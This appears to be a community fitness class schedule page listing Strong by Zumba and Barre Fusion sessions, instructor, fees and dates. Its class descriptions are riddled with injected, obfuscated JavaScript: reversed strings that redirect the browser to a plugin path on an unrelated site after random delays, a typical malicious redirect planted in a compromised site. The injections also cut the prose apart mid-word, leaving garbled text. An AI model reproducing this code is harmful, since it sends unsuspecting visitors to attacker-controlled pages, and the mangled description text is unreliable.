Strong

Combines body weight, muscle conditioning, doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and plyometric training.  Every squat, every lunge, every burpee is driven by music!

Bare Fusion- Strengthen your muscles doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and improve balance doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and flexibility combining Pilates, dance, doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and fitness.  This low impact class will focus on proper alignment, lower/upper body strengthening, doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and core engagement.

Instrucdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor: Alicia Bercury
DAY: Sunday
TIME: 8:00-9:00am
FEE: Pre-registration- $40.00 for all classes or drop-in $8 a class
DATES:
SESSION I:
January 5th- Barre Fusion
January 12th- Zumba
January 19th- Barre Fusion
January 26th- STRONG by Zumba
February 2nd- Barre Fusion
February 9th- Strong by Zumba
February 16th- Barre Fusion
February 23rd- STRONG by Zumba
SESSION II:
March 1st- Barre
March 8th- Strong
March 15th- Barre
March 22nd: Strong
March 29th: Barre
April 5th: Strong
April 12th: Barre
April 26th: Strong

 

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